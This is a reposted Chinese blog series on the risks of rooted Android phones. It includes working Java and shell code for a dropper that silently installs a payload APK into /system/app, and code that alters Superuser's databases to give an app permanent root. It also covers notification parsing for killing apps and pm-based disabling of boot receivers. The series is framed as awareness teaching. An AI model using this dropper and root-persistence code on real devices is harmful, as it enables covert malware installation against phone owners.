分类: 2013-07-12 18:28 3197人阅读 (17)
本帖转自:
前提:你有一部已经root的android手机,并且手机中有busybox和superuser
写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!
1、Android手机Root安全风险篇章一
导读:本文介绍一种简单的病毒以及如何“防御”。
这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。
虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。
有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。
我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?
好吧,我们先来一次“静默安装”!
原理很简单,基本上相当于把apk push到手机里面,两个选择
data/app
system/app
如果我是病毒软件,我肯定选择push到system/app
我们需要制作两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)
首先先制作real.apk,我们只是用来测试,所以这个apk没有什么实际内容(为了节省大家时间,real.apk已经上传)。
real.apk里有一个receiver,用来监听开机的广播
Xml代码
android.intent.action.BOOT_COMPLETED
还有一个activity,没有什么实质内容,然后编译出apk,待用。
下面来制作壳子
新建一个android工程,将之前的real.apk复制到assets目录下
然后新建一个activity来测试
这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的
Java代码
prepareButton.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
File dataFolder = getFilesDir();
File jar = new File(dataFolder.getAbsolutePath() + "/real.apk");
copyFile("real.apk", jar, mResources);
}
});
其中copFile函数见附件(就是一个简单的io读写操作),这里只给出伪代码
Java代码
InputStream myInput = null;
try
myInput = resources.getAssets().open(filePath);
……
catch
……
finally
……
第一步已经完成了,下一步请求root权限,然后将real.apk恶意安装给用户。
这里需要使用到busybox,命令如下
Shell代码
busybox mount -o remount,rw /system
busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk
busybox rm /data/data/com.example.fake/files/real.apk
之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)
当然superuser需要同意你使用root权限
至此,你的***行为已经全部完成!
Java代码
installButton.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
String packageName = getPackageName();
String[] commands = { "busybox mount -o remount,rw /system",
"busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk",
"busybox rm /data/data/" + packageName + "/files/real.apk"};
Process process = null;
DataOutputStream dataOutputStream = null;
try {
process = Runtime.getRuntime().exec("su");
dataOutputStream = new DataOutputStream(process.getOutputStream());
int length = commands.length;
for (int i = 0; i < length; i++) {
Log.e(TAG, "commands[" + i + "]:" + commands[i]);
dataOutputStream.writeBytes(commands[i] + "\n");
}
dataOutputStream.writeBytes("exit\n");
dataOutputStream.flush();
process.waitFor();
} catch (Exception e) {
Log.e(TAG, "copy fail", e);
} finally {
try {
if (dataOutputStream != null) {
dataOutputStream.close();
}
process.destroy();
} catch (Exception e) {
}
}
}
});
}
重启手机之后,real.apk就能工作了,它会接收到开机广播
如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的
real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。
如何防御?!
我不知道如何防御,最简单的办法就是,解压你来路不明的apk文件,看看assets文件下有没有什么可疑文件。当然,病毒可能会去掉或者修改文件名的后缀!
我手机中安装了卡巴斯基免费版,很可惜,它没有查出病毒(即使你的real.apk嵌入更恶意的代码)
大家可以试试其他杀毒软件,比如……希望大家能给个反馈结果
2、Android手机Root安全风险篇章二
导读:本文介绍杀毒软件和病毒是如何获取通知栏上的所有通知,并且利用其信息杀死应用。
上一篇将过如何利用root权限来做一次静默安装,有的人会说,安装apk就安装呗,反正哥有金山手机卫士,哥有360主动防御……他们都会弹出通知告诉我的!
安装了新的应用,手机会发送广播,这些所谓的杀毒软件监听这些广播,然后弹出通知
好吧,我承认,他们在一定意义上还是有点用处的,我们先把这个问题放一放,先来说两句题外话
360和和金山手机卫士都有一个让广大android开发者比较蛋疼的一个功能:那就是检查广告通知!
当有通知栏有广告的时候,运行360执行检查,它会告诉你是哪个应用程序的广告(当然,这里并不局限于广告,他们是获得所有通知,然后过滤),然后他会让用户选择:不处理;关闭通知(实际上是把这个进程kill掉,整个软件停止运行);卸载此软件。
虽然我没有发布过android应用,但是我知道,靠软件赚钱的各位,本来收入已经够尴尬的了,再加上这些操蛋的软件提供这些操蛋的功能……哎
大家不喜欢收费软件那咱们就免费,点点广告支持一下总行吧,就是不点,你就放在那呗(当然,有的软件发起广告来没玩没了也挺操蛋)
说了这么多废话,我们就来看看那些所谓的杀毒软件是如何对付大家的
到了关键的地方,实际也就那么一行代码……又让大家失望了。。。
Shell代码
adb shell dumpsys notification
比如,我现在在我机器上面执行一下,输出的结果为
Log代码
Current Notification Manager state:
Notification List:
NotificationRecord{41453c70 pkg=com.zdworks.android.toolbox id=7f090092 tag=null pri=0}
icon=0x0 / <name unknown>
contentIntent=null
deleteIntent=null
tickerText=null
contentView=null
defaults=0x0
flags=0x62
sound=null
vibrate=null
ledARGB=0x0 ledOnMS=0 ledOffMS=0
NotificationRecord{415f48e8 pkg=com.zdworks.android.toolbox id=7f090080 tag=null pri=100}
icon=0x7f0200fd / com.zdworks.android.toolbox:drawable/barttery_notify_icon
contentIntent=PendingIntent{ 41949028: PendingIntentRecord{412e3c20 com.zdworks.android.toolbox startActivity}}
deleteIntent=null
tickerText=电量提示
contentView=android.widget.RemoteViews@416e7b90
defaults=0x0
flags=0x22
sound=null
vibrate=null
ledARGB=0x0 ledOnMS=0 ledOffMS=0
NotificationRecord{416db3e0 pkg=android id=1040414 tag=null pri=100}
icon=0x10804f5 / android:drawable/stat_sys_adb
contentIntent=PendingIntent{41275de8: PendingIntentRecord{416dade8 android startActivity}}
deleteIntent=null
tickerText=USB 调试已连接
contentView=android.widget.RemoteViews@416daf40
defaults=0x0
flags=0x2
sound=null
vibrate=null
ledARGB=0x0 ledOnMS=0 ledOffMS=0
NotificationRecord{41790de8 pkg=com.htc.android.psclient id=7f020010 tag=null pri=100}
icon=0x7f020010 / com.htc.android.psclient:drawable/usb_to_pc_notify
contentIntent=PendingIntent{416c3e38: PendingIntentRecord{417bc968 com.htc.android.psclient startActivity}}
deleteIntent=null
tickerText=null
contentView=android.widget.RemoteViews@4169d128
defaults=0x0
flags=0x2
sound=null
vibrate=null
ledARGB=0x0 ledOnMS=0 ledOffMS=0
mSoundNotification=null
mSound=com.android.server.NotificationPlayer@413e73b8
mVibrateNotification=null
mDisabledNotifications=0x0
mSystemReady=true
现在大家知道了吧,这么简单就把咱们给搞定了
下面的事情就简单
1.想办法获取这段log
2.提取包名
3.根据数据库中的黑名单白名单不同处理
4.你的应用很可能在黑名单中,最后的结果也基本是进程被杀死
(这里就不演示3、4部分了,只演示1、2)
Java代码
testButton = (Button)findViewById(R.id.exec);
testButton.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
String[] commands = { "dumpsys notification"};
Process process = null;
DataOutputStream dataOutputStream = null;
try {
process = Runtime.getRuntime().exec("su");
dataOutputStream = new DataOutputStream(process.getOutputStream());
int length = commands.length;
for (int i = 0; i < length; i++) {
Log.e(TAG, "commands[" + i + "]:" + commands[i]);
dataOutputStream.writeBytes(commands[i] + "\n");
}
dataOutputStream.writeBytes("exit\n");
dataOutputStream.flush();
process.waitFor();
BufferedReader reader = null;
reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = "";
List<String> lineList = new ArrayList<String>();
final StringBuilder log = new StringBuilder();
String separator = System.getProperty("line.separator");
Pattern pattern = Pattern.compile("pkg=[^\\s]+");
while ((line = reader.readLine()) != null) {
if(line != null && line.trim().startsWith("NotificationRecord")){
Matcher matcher = pattern.matcher(line);
if(matcher.find()){
lineList.add(matcher.group());
}else{
Log.e(TAG, "what's this?!");
}
}
log.append(line);
log.append(separator);
}
Log.v(TAG, "log:" + log.toString());
int size = lineList.size();
for (int i = 0; i < size; i++) {
Log.i(TAG, "app:" + lineList.get(i));
}
} catch (Exception e) {
Log.e(TAG, "copy fail", e);
} finally {
try {
if (dataOutputStream != null) {
dataOutputStream.close();
}
process.destroy();
} catch (Exception e) {
}
}
Log.v(TAG, "finish");
}
});
}
上面的这段代码实在没什么技术含量,让给位网友见笑了
按顺序简单解释一下
首先,我们先执行dumpsys notification这条命令,这在上一期的代码中已经有了
然后通过process.getInputStream()获得其输出按行读取,这里只关心类似于下面这种的log
Log代码
NotificationRecord{40dacad8 pkg=com.htc.android.psclient id=7f020010 tag=null pri=100}
然后从中提取出包名即可
其中的正则就是为了提取包名用的,想了解正则的同学可以看我的正则教程
这里我执行的结果为(看来有一个应用提示了两个通知)
Java代码
app:pkg=com.zdworks.android.toolbox
app:pkg=com.zdworks.android.toolbox
app:pkg=android
app:pkg=com.htc.android.psclient
之后的工作就是把这个list展示给用户,让用户去选择了
既然360可以这样,病毒为什么不可以呢?病毒Fake.apk可以在半夜偷偷安装应用Real.apk,几秒钟后,Fake.apk执行上面的这些操作,获取360,然后kill!爽!
大家有兴趣可以反编译一下金山和360,他们基本就是这么干的,我发现360比较坏,至于为什么这么说,大家自己去发现吧
ps:我使用的是卡巴斯基免费版,杀毒软件是不会去管有没有广告推送的,广告不是病毒,杀毒软件也不应该干一些不该干的事!
请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!
3、Android手机Root安全风险篇章三
导读:本文介绍病毒如何篡改superuser,使得用户只是允许病毒请求的一次root权限变成允许病毒永久使用root权限。
继续之前两篇文章写,如果路过的同学有疑问,请先看前两篇
有同学说,你的Fake.apk需要把应用copy到system下才行,这是需要root权限的。如果用户允许了你一次root请求,你当着用户的面copy,那么copy之后,系统会发送广播,告知有新的apk被安装,杀毒软件就会发现你。
是的,这确实是个问题,但是病毒就是病毒,总会想办法让你病倒的,别急。
superuser把数据记录到数据库中,那病毒为什么不去修改你的数据库呢?如果修改成功,那么岂不是永久获得了root权限,以后再也用不着你来批准我了,我自己批准!
很不幸,病毒如果获得了一次root权限,那么上面所说的事情是完全可以做到的。
我们来演示一下,我手机中装有superuser,版本为3.0.7
我还装了一个re管理器
首先,我们打开re管理器,这时候re管理器请求使用root权限,superuser会弹出提示,询问用户是否允许
我们点击允许之前,勾选“记住”,然后允许。
这一步是为了获取:应用获得永久root权限时,应该在superuser数据库插入什么样的数据。
然后我们将数据库导出
/data/data/com.noshufou.android.su/databases下面有两个数据库我们需要关注
su.db
permissions.sqlite
我们以permissions.sqlite为例,下图为表结构:
然后来看看病毒应该如何修改数据
病毒只需要关心几个字段
uid,包名,应用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1
病毒如何获得自己的包名和应用名,这个大家没什么疑问吧
ActivityManager.RunningAppProcessInfo中含有uid的信息
下面的代码可以获得当前应用的uid
Java代码
public static int getUid(Context context,String packageName){
ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses();
int size = runningAppProcesses.size();
ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null;
for (int i = 0; i < size; i++) {
runningAppProcessInfo = runningAppProcesses.get(i);
if(packageName.equals(runningAppProcessInfo.processName)){
return runningAppProcessInfo.uid;
}
}
return -1;
}
好了,这个表已经搞定了,su.db和这个几乎一样,也就不再演示了。
最后的问题是,如何修改手机中的数据库,显然,我们使用sqlite3,但是有的手机居然没有这个问题,所以病毒很可能自己捆绑了一个,然后复制到system/bin或者system/xbin中
sqlite3从哪来?哪都有。。比如你可以从模拟器pull出来一份。
好了,全部搞定了
最终我们分两步
1准备sqlite3这个文件,以防万一
Java代码
prepareButton.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
File dataFolder = getFilesDir();
File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3");
copyFile("db/sqlite3", sqlite, mResources);
}
});
2申请root权限,一旦成功,那就修改数据库
Java代码
String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" +
"values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) ";
String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " +
"values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") ";
String[] commands = { "busybox mount -o remount,rw /system"
,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3"
,"busybox rm /data/data/" + packageName + "/files/sqlite3"
,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'"
,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "};
执行即可
从此,病毒就脱离你的掌控了,一发不可收拾
结语
由于本博客只是用于演示,所以有些不严密的地方。
比如:首次使用superuser之前,它的数据库的表可能还没有创建,所以有些sql操作可能会失败
我也不打算写个完整的病毒,这样一些人就会想着干一些不干净的事情。仅供学习交流
看来大家每次批准root之后,还要去superuser中的列表看看有没有什么异常才行
请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!
4、Android手机Root安全风险篇章四
导读: 本文介绍了如何实现禁止开机启动以及如何使应用失效。
希望大家不要制造各种流氓软件或病毒
这一期我们来关注以下某些优化软件的开机优化功能
禁止开机启动和禁止
很多软件都有开机优化功能,比如360,金山,海卓……
我觉得海卓页面还不错,所以就截一张海卓的图片吧
点击右边的小旗,会有一些选项,这里只说两个
开机启动
程序状态
在android 4.1(jelly bean)版本中,settings中查看应用信息的地方有一个disable按钮,
disable掉这个应用之后,在launcher列表中是查询不到的,也就是说,你无法启动这个应用了,也合理,但是如果你想enable就有些麻烦了。你得在settings中的应用列表中找到这个应用(一般出厂的手机,都有几十个应用,再加上自己安装的,应用数量很容易就100+了),然后再enable,这时候,launcher中就能再次看到这个应用了
(ps:还可以控制是否显示通知,这个功能估计大家都喜欢)
但是4.0及其之前的版本是没有disable这个功能的,但是如果root了手机,那么我们是可以实现这个功能的。
首选我们先看看手机中应用哪些是enabled的
Shell代码
$ pm list package -e
package:android
package:cn.buding.coupon
package:cn.buding.moviecoupon
package:cn.chinabus.main
package:cn.chinabus.metro.main
package:cn.com.fetion
……
我看了一下我的手机,居然有249个enabled的程序,汗!
Shell代码
$ pm list package -e | busybox wc -l
249
查看disabled的应用改下选项就可以了
Java代码
$ pm list package -d
我们先来看看pm都能做些什么
Java代码
pm list packages: prints all packages, optionally only
those whose package name contains the text in FILTER. Options:
-f: see their associated file.
-d: filter to only show disbled packages.
-e: filter to only show enabled packages.
-s: filter to only show system packages.
-3: filter to only show third party packages.
-u: also include uninstalled packages.
pm enable, disable, disable-user: these commands change the enabled state
of a given package or component (written as "package/class").
这里只截取了一部分,详情请自行查看pm帮助
大家可以拿一个无关紧要的程序试试,disable再enable,看看launcher有什么变化(需要root权限,之前的查询是不需要root权限的) ,比如:
Java代码
pm disable cn.eoe.wiki
pm enable cn.eoe.wiki
注:切换到root用户时,执行pm可能会出现段错误(android 4.0+)
Shell代码
shell@android:/ # pm
[1] + Stopped (signal) pm
shell@android:/ # pm
[2] + Stopped (signal) pm
[1] - Segmentation fault pm
我们在执行pm之前,export一下LD_LIBRARY_PATH即可
Shell代码
export LD_LIBRARY_PATH=/vendor/lib:/system/lib
我们可以查看一下这个变量
Java代码
echo $LD_LIBRARY_PATH
在我机器上面,普通用户是设置了这个变量的,切换到root的时候,这个变量就空了,所以需要重新export一下
第一个功能程序状态 讲解就结束了。
其实大多数人关心的是第二个功能开机启动 问题
首选,我们需要明确的是:我们需要知道哪些应用具有开机启动功能。
其实精确到应用还不可以,因为我们不是要把应用禁止掉,而是要把接收开机启动的Intent的receiver禁止掉,所以我们需要精确到class
首先我们来看看接收BOOT_COMPLETED的receiver在manifest中如何注册的
Xml代码
<receiver android:name=".BootReceiver" android:enabled="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
这里有一点是需要特别注意的: android:enabled="true"
enabled这个属性,大多数情况下我们是不显式写在这里的,当然,默认值就为true
禁止开机启动,其实就是设置接收BOOT_COMPLETED的receiver状态为disabled,即android:enabled="false"
首先要解决的就是如何获得所有接收BOOT_COMPLETED的receiver
开始我也搜索了一下,发现网上的很多方法都不可用,这里给大家说明一下:
错误方法1
Java代码
Intent intent = new Intent(Intent.ACTION_BOOT_COMPLETED);
List<ResolveInfo> resolveInfoList = mPackageManager.queryBroadcastReceivers(intent, PackageManager.GET_RESOLVED_FILTER);
这里返回的list都是enabled的receiver
错误方法2
Java代码
List<ApplicationInfo> allAppsList = mPackageManager.getInstalledApplications(0);
int allAppsListSize = allAppsList.size();
for (int i = 0; i < allAppsListSize; i++) {
ApplicationInfo applicationInfo = allAppsList.get(i);
PackageInfo packageInfo = mPackageManager.getPackageInfo(applicationInfo.packageName, PackageManager.GET_RECEIVERS);
ActivityInfo[] receivers = packageInfo.receivers;
if(receivers != null) {
……
}
}
这里获得的也都是enable的
错误方法3
有的人使用下面代码片断
Java代码
if (PackageManager.PERMISSION_GRANTED == mPackageManager.checkPermission("android.permission.RECEIVE_BOOT_COMPLETED", app.packageName))
检查package干什么?!
其实android原生给我们提供了如何获得所有component的api(enabled+disabled)
int android.content.pm.PackageManager.GET_DISABLED_COMPONENTS = 512 [0x200]
PackageInfo flag: include disabled components in the returned info.
这样,我们使用如下代码就可以了
Java代码
Intent intent = new Intent(Intent.ACTION_BOOT_COMPLETED);
List<ResolveInfo> resolveInfoList = mPackageManager.queryBroadcastReceivers(intent, PackageManager.GET_DISABLED_COMPONENTS);
然后我们需要知道组件的状态,disabled还是enabled
Java代码
ComponentName mComponentName = new ComponentName(resolveInfo.activityInfo.packageName, resolveInfo.activityInfo.name);
Log.d(TAG, "COMPONENT_ENABLED_STATE:" + mPackageManager.getComponentEnabledSetting(mComponentName) + "\tpackageName:" + resolveInfo.activityInfo.packageName);
接下来的事情就简单了,如果你想禁止包名为package的应用开机启动,那么只需在上面list中,找到所有此包下的receiver,然后
Shell代码
pm disable package/class
pm enable package/class
即可
我们需要关注下面几个
写道
public static final int COMPONENT_ENABLED_STATE_DEFAULT
Since: API Level 1Flag for setApplicationEnabledSetting(String, int, int) and setComponentEnabledSetting(ComponentName, int, int): This component or application is in its default enabled state (as specified in its manifest).Constant Value: 0 (0x00000000)public static final int COMPONENT_ENABLED_STATE_DISABLEDSince: API Level 1Flag for setApplicationEnabledSetting(String, int, int) and setComponentEnabledSetting(ComponentName, int, int): This component or application has been explicitly disabled, regardless of what it has specified in its manifest.Constant Value: 2 (0x00000002)public static final int COMPONENT_ENABLED_STATE_DISABLED_USERSince: API Level 14Flag for setApplicationEnabledSetting(String, int, int) only: The user has explicitly disabled the application, regardless of what it has specified in its manifest. Because this is due to the user's request, they may re-enable it if desired through the appropriate system UI. This option currently can not be used with setComponentEnabledSetting(ComponentName, int, int).Constant Value: 3 (0x00000003)public static final int COMPONENT_ENABLED_STATE_ENABLEDSince: API Level 1Flag for setApplicationEnabledSetting(String, int, int) and setComponentEnabledSetting(ComponentName, int, int): This component or application has been explictily enabled, regardless of what it has specified in its manifest.Constant Value: 1 (0x00000001)public static final int DONT_KILL_APPSince: API Level 1Flag parameter for setComponentEnabledSetting(android.content.ComponentName, int, int) to indicate that you don't want to kill the app containing the component. Be careful when you set this since changing component states can make the containing application's behavior unpredictable.Constant Value: 1 (0x00000001)
如果是自己应用中想disable或者enable自己的组件,那么是不需要任何权限的,当然不能使用pm命令
在原生email(4.0)应用中,旧有此功能,我们来看看email的代码
void com.android.email.service.EmailBroadcastProcessorService.setComponentEnabled(Class<?> clazz, boolean enabled)
Java代码
private void setComponentEnabled(Class<?> clazz, boolean enabled) {
final ComponentName c = new ComponentName(this, clazz.getName());
getPackageManager().setComponentEnabledSetting(c,
enabled ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED
: PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP);
}
void com.android.email.Email.setServicesEnabled(Context context, boolean enabled)方法中也有参考代码
至此,开机启动、禁用程序 就全部讲解完了。
我们发现,海卓这个应用居然有这么多变态功能,居然可以禁止所有事件。。。这是不是过分了点,不过程序的原理应该都在我这篇博客之中了,我不太希望有禁止所有事件这种功能,那还不如把这个app删掉呢,何必折磨它呢?!
请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!